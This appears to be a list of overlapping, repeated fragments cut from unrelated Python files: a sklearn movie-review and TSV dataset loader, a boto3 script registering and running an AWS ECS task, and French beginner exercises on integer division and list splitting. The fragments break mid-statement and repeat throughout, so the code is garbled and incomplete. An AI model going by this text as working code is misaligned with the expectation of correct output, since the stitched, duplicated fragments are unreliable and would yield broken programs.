"if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset",
"i > 10: break self.data = tsvin def read_acllmdb(self): # Movie review Sentiment:",
"as np # doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4] #",
"__init__(self, file=None, dataset=None): self.file = file self.dataset = dataset self.read_dataset() def read_tsv(self): with",
"dataset=None): self.file = file self.dataset = dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as",
"print(\"No dataset provided.\") class DataBatch(object): def __init__(self, path, data): self.path = path self.data",
"iter(tsvin): print(row) if i > 10: break self.data = tsvin def read_acllmdb(self): #",
"here if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else: print(\"No",
"def __init__(self, path, data): self.path = path self.data = data if __name__ ==",
"def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i, row",
"= file self.dataset = dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin",
"print(doc_zeros.shape) # test = [1,2,3,4] # print(test) # test = np.array(test) # print(test)",
"'__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames)",
"datasets are set here if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv':",
"open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin): print(row)",
"# Toy datasets are set here if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset",
"print(test) # print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros) # print(doc_zeros.shape) # print(test.size)",
"data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) #",
"# doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4] # print(test) #",
"} def read_dataset(self): # Toy datasets are set here if self.dataset == 'acllmdb':",
"# print(doc_zeros.shape) # test = [1,2,3,4] # print(test) # test = np.array(test) #",
"'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object):",
"self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object): def",
"print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds",
"for x in movie_train.data], 'y': movie_train.target } def read_dataset(self): # Toy datasets are",
"# print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros) # print(doc_zeros.shape) # print(test.size) #",
"data.data['y']).load('../data/dataset/dataset_example') # import numpy as np # doc_zeros = np.zeros(100) # print(doc_zeros.shape) #",
"data(object): def __init__(self, file=None, dataset=None): self.file = file self.dataset = dataset self.read_dataset() def",
"= tsvin def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True)",
"# print(test) # test = np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size] =",
"= path self.data = data if __name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data))",
"csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin): print(row) if i > 10: break",
"with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin):",
"tsvin def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data",
"ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np # doc_zeros = np.zeros(100)",
"{ 'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target } def read_dataset(self): #",
"numpy as np # doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4]",
"print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np # doc_zeros",
"as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin): print(row) if",
"print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy",
"test = [1,2,3,4] # print(test) # test = np.array(test) # print(test) # print(test.shape)",
"provided.\") class DataBatch(object): def __init__(self, path, data): self.path = path self.data = data",
"test = np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros)",
"load_files data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None): self.file = file",
"movie_train.target } def read_dataset(self): # Toy datasets are set here if self.dataset ==",
"== 'tsv': self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object): def __init__(self, path, data):",
"import sklearn from sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self,",
"elif self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object): def __init__(self,",
"load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target",
"read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data = {"
] |
[
"explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at :\" + str(new_taskdef)) #run",
"= client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\":",
"\"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from",
"version # ideally you do not want this as this might impact idempotency",
"idempotency # so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now",
"[], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\":",
"memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it will automatically use the latest version",
"boto3 import json # Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client =",
"\"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\"",
"\"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\":",
"} ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu=",
"\"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\":",
"\\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\":",
"{ \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\",",
"impact idempotency # so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is",
"new task in ecs response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\",",
"\"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"],",
"region_name=\"eu-west-2\") ## create a new task in ecs response = client.register_task_definition( containerDefinitions=[ {",
"ideally you do not want this as this might impact idempotency # so",
"configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at :\" +",
"containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\":",
"#run task # explicity set taskdef response2 = client.run_task( cluster='test-hybrid', count=1, launchType='EXTERNAL', taskDefinition='test-external:{taskdef}'.format(taskdef=new_taskdef)",
"client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True,",
"from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": {",
"automatically use the latest version # ideally you do not want this as",
"default=str) print(\"TaskDef is now at :\" + str(new_taskdef)) #run task # explicity set",
"customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\":",
"use the latest version # ideally you do not want this as this",
"to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a",
"[], \"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select *",
"as this might impact idempotency # so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4,",
"#taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\")",
"{ \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\": [],",
"ecs response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\":",
"it will automatically use the latest version # ideally you do not want",
"latest version # ideally you do not want this as this might impact",
"not want this as this might impact idempotency # so configure an explict",
"} } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\"",
"task in ecs response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\":",
"\"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\": [],",
"\"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it will automatically",
"an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at :\" + str(new_taskdef))",
"in ecs response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0,",
"\"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } }",
"## create a new task in ecs response = client.register_task_definition( containerDefinitions=[ { \"name\":",
"family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4,",
"\"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ],",
"\"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it will automatically use the latest",
"# it will automatically use the latest version # ideally you do not",
"\"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str))",
"\"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\":",
"], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it will automatically use",
"task # explicity set taskdef response2 = client.run_task( cluster='test-hybrid', count=1, launchType='EXTERNAL', taskDefinition='test-external:{taskdef}'.format(taskdef=new_taskdef) )",
"} } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ],",
"import json # Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client = boto3.client(\"ecs\",",
"version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at :\" + str(new_taskdef)) #run task",
"\"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family=",
"\"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\",",
"+ str(new_taskdef)) #run task # explicity set taskdef response2 = client.run_task( cluster='test-hybrid', count=1,",
"], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\",",
"import boto3 import json # Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client",
"explicity set taskdef response2 = client.run_task( cluster='test-hybrid', count=1, launchType='EXTERNAL', taskDefinition='test-external:{taskdef}'.format(taskdef=new_taskdef) ) print(json.dumps(response2, indent=4,",
"might impact idempotency # so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef",
"# so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at",
"new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at :\" + str(new_taskdef)) #run task #",
"str(new_taskdef)) #run task # explicity set taskdef response2 = client.run_task( cluster='test-hybrid', count=1, launchType='EXTERNAL',",
"print(json.dumps(response, indent=4, default=str)) # it will automatically use the latest version # ideally",
"create a new task in ecs response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\",",
"Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create",
"= \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\",",
"WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\",",
"response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\": \"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [],",
"# explicity set taskdef response2 = client.run_task( cluster='test-hybrid', count=1, launchType='EXTERNAL', taskDefinition='test-external:{taskdef}'.format(taskdef=new_taskdef) ) print(json.dumps(response2,",
"for a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task",
"indent=4, default=str)) # it will automatically use the latest version # ideally you",
"you do not want this as this might impact idempotency # so configure",
"\"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\",",
"json # Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\")",
"\"512\") print(json.dumps(response, indent=4, default=str)) # it will automatically use the latest version #",
"= boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task in ecs response = client.register_task_definition(",
"cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it will automatically use the",
"networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) #",
"https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new",
"\"select * from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\",",
"will automatically use the latest version # ideally you do not want this",
"[ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it will",
"executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response,",
"is now at :\" + str(new_taskdef)) #run task # explicity set taskdef response2",
"[], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location",
"0, \"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\",",
"print(\"TaskDef is now at :\" + str(new_taskdef)) #run task # explicity set taskdef",
"now at :\" + str(new_taskdef)) #run task # explicity set taskdef response2 =",
"\"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select",
"this might impact idempotency # so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str)",
"# ideally you do not want this as this might impact idempotency #",
"location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\":",
"<filename>docker/app/boto-ecs.py import boto3 import json # Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet",
"this as this might impact idempotency # so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'],",
"at :\" + str(new_taskdef)) #run task # explicity set taskdef response2 = client.run_task(",
"\"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\",",
"want this as this might impact idempotency # so configure an explict version",
"\"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location =",
"\"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\",",
"set taskdef response2 = client.run_task( cluster='test-hybrid', count=1, launchType='EXTERNAL', taskDefinition='test-external:{taskdef}'.format(taskdef=new_taskdef) ) print(json.dumps(response2, indent=4, default=str))",
"good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task in ecs",
"default=str)) # it will automatically use the latest version # ideally you do",
"indent=4, default=str) print(\"TaskDef is now at :\" + str(new_taskdef)) #run task # explicity",
"cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task in ecs response",
"True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers",
"so configure an explict version new_taskdef=json.dumps(response['taskDefinition']['revision'], indent=4, default=str) print(\"TaskDef is now at :\"",
"boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task in ecs response = client.register_task_definition( containerDefinitions=[",
"\"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": {",
"\"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" }",
"taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory=",
"\"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities= [",
"[\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\":",
"the latest version # ideally you do not want this as this might",
"\"awslogs-stream-prefix\": \"ecs\" } } } ], taskRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", #taskDefinitionArn=\"arn:aws:ecs:eu-west-2:704533066374:task-definition/test-external:5\", executionRoleArn=\"arn:aws:iam::704533066374:role/ecsTaskExecutionRole\", family= \"test-external\", networkMode=\"bridge\", requiresCompatibilities=",
"\"environment\": [], \"mountPoints\": [], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE",
"requiresCompatibilities= [ \"EXTERNAL\" ], cpu= \"256\", memory= \"512\") print(json.dumps(response, indent=4, default=str)) # it",
"client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task in ecs response =",
"do not want this as this might impact idempotency # so configure an",
"* from customers WHERE location = \\\"China\\\"\", \"rds-airflow-hybrid\",\"eu-west-2\"], \"logConfiguration\": { \"logDriver\": \"awslogs\", \"options\":",
":\" + str(new_taskdef)) #run task # explicity set taskdef response2 = client.run_task( cluster='test-hybrid',",
"{ \"logDriver\": \"awslogs\", \"options\": { \"awslogs-group\": \"/ecs/test-external\", \"awslogs-region\": \"eu-west-2\", \"awslogs-stream-prefix\": \"ecs\" } }",
"# Thanks to https://hands-on.cloud/working-with-ecs-in-python-using-boto3/ for a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ##",
"\"public.ecr.aws/a4b5h6u6/beachgeek:latest\", \"cpu\": 0, \"portMappings\": [], \"essential\": True, \"environment\": [], \"mountPoints\": [], \"volumesFrom\": [],",
"a new task in ecs response = client.register_task_definition( containerDefinitions=[ { \"name\": \"airflow-hybrid-boto3\", \"image\":",
"[], \"volumesFrom\": [], \"command\": [\"ricsue-airflow-hybrid\",\"period1/temp.csv\", \"select * from customers WHERE location = \\\"China\\\"\",",
"a good cheatsheet client = boto3.client(\"ecs\", region_name=\"eu-west-2\") ## create a new task in"
] |
[
"et retourne deux listes def decompose(l): rp, ri = [], [] for i",
"= 237 a = int(x / 100) x = x - 100 *",
"max(a, b) b = min(a, b) r = a1 i = 0 while",
"Ecriture de code # la fonction def decompose(l) qui prend en paramètres une",
"[] for i in range(len(l)): if l[i] % 2 == 0: rp.append(l[i]) else:",
"L[i] > 500: # else if ~> elif b += 1 else: c",
"prend en paramètres une liste l d'entiers et retourne deux listes def decompose(l):",
"present(l,a) qui prend en paramètres une liste d'entiers l et un entier a",
"[0, 1, 3, 6, 10, 15, 21, 28, 36, 45] Val, i =",
"+= 1 elif L[i] > 500: # else if ~> elif b +=",
"6361.725123519331, Périmètre: 282.7433388230814 import random n = 10000 L = [random.randint(0, 1000) for",
"print(Resultat) ## >>> [0, 1, 3, 6, 10, 15, 21, 28, 36, 45]",
"= 0 for i in range(len(L)): if L[i] < 500: a += 1",
"10, 15, 21, 28, 36, 45] Val, i = 0, 0 L =",
"r = a i = 0 while r >= b: i += 1",
"i in range(5): Resultat += i + 1 print(Resultat) ## >>> 15 L",
"b, \" * \", i, \"+\", r) ##1 a = 25 b =",
"/ 10) x = x - 10 * b c = x Resultat",
"36, 45] Val, i = 0, 0 L = [7, 14, 21, 45,",
"13, 17, 10] Resultat = 0 for i in range(5): Resultat += i",
"\", i, \" + \", r) # 4 Ecriture de code # la",
"a b = int(x / 10) x = x - 10 * b",
"1 print(a, b, c) ##3 Code non fonctionnel a = 25 b =",
"Aire = pi * Rayon ** 2 # l' exposant se note **",
"Somme += i # indentation incorrecte print(Somme) # il manque la majuscule à",
"= float(input(\"Rayon [m] ? > \")) # il manque les \"\" Aire =",
"19, 7, 3, 10] Resultat = [20 - L[i] for i in range(len(L))]",
"= 0 while r >= b: i += 1 r -= b print(a1,",
"print(a, b, c) ##3 Code non fonctionnel a = 25 b = 226",
"i += 1 Val = L[i] Resultat = [i, Val] print(Resultat) ## >>>",
"[4, 52] Somme = 0 n = 10 for i in range(n): #",
"a1 i = 0 while r >= b: i += 1 r -=",
"21, 28, 36, 45] Val, i = 0, 0 L = [7, 14,",
"\" = \", b, \" * \", i, \"+\", r) ##1 a =",
"= \", b, \" * \", i, \"+\", r) ##1 a = 25",
"52] Somme = 0 n = 10 for i in range(n): # il",
"+= 1 print(a, b, c) ##3 Code non fonctionnel a = 25 b",
"else: c += 1 print(a, b, c) ##3 Code non fonctionnel a =",
"dans la liste. def present(l, a): c = 0 for i in range(len(l)):",
"print(a, \" = \", b, \" * \", i, \"+\", r) ##1 a",
"random n = 10000 L = [random.randint(0, 1000) for i in range(n)] a",
"l d'entiers et retourne deux listes def decompose(l): rp, ri = [], []",
"\", i, \"+\", r) ##1 a = 25 b = 226 a1 =",
"[i for i in range(10)] for i in range(len(L)): if i >= 1:",
"pi * Rayon ** 2 # l' exposant se note ** et pas",
"10000 L = [random.randint(0, 1000) for i in range(n)] a = 0 b",
"a1 = max(a, b) b = min(a, b) r = a1 i =",
"r >= b: i += 1 r -= b print(a1, \" = \",",
"Perimetre = 2 * pi * Rayon # il manque la majuscule à",
"# else if ~> elif b += 1 else: c += 1 print(a,",
"1 r -= b print(a, \" = \", b, \" * \", i,",
"b = min(a, b) r = a i = 0 while r >=",
"\", b, \" * \", i, \"+\", r) ##1 a = 25 b",
"ri # ##une fonction def present(l,a) qui prend en paramètres une liste d'entiers",
"~> elif b += 1 else: c += 1 print(a, b, c) ##3",
"[12, 8, 19, 7, 3, 10] Resultat = [20 - L[i] for i",
"# Rayon [m] ? > 45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import",
">>> 15 L = [i for i in range(10)] for i in range(len(L)):",
"= [random.randint(0, 1000) for i in range(n)] a = 0 b = 0",
"if i >= 1: L[i] = L[i] + L[i - 1] Resultat =",
"= 10 for i in range(n): # il manque les deux points Somme",
"manque les deux points Somme += i # indentation incorrecte print(Somme) # il",
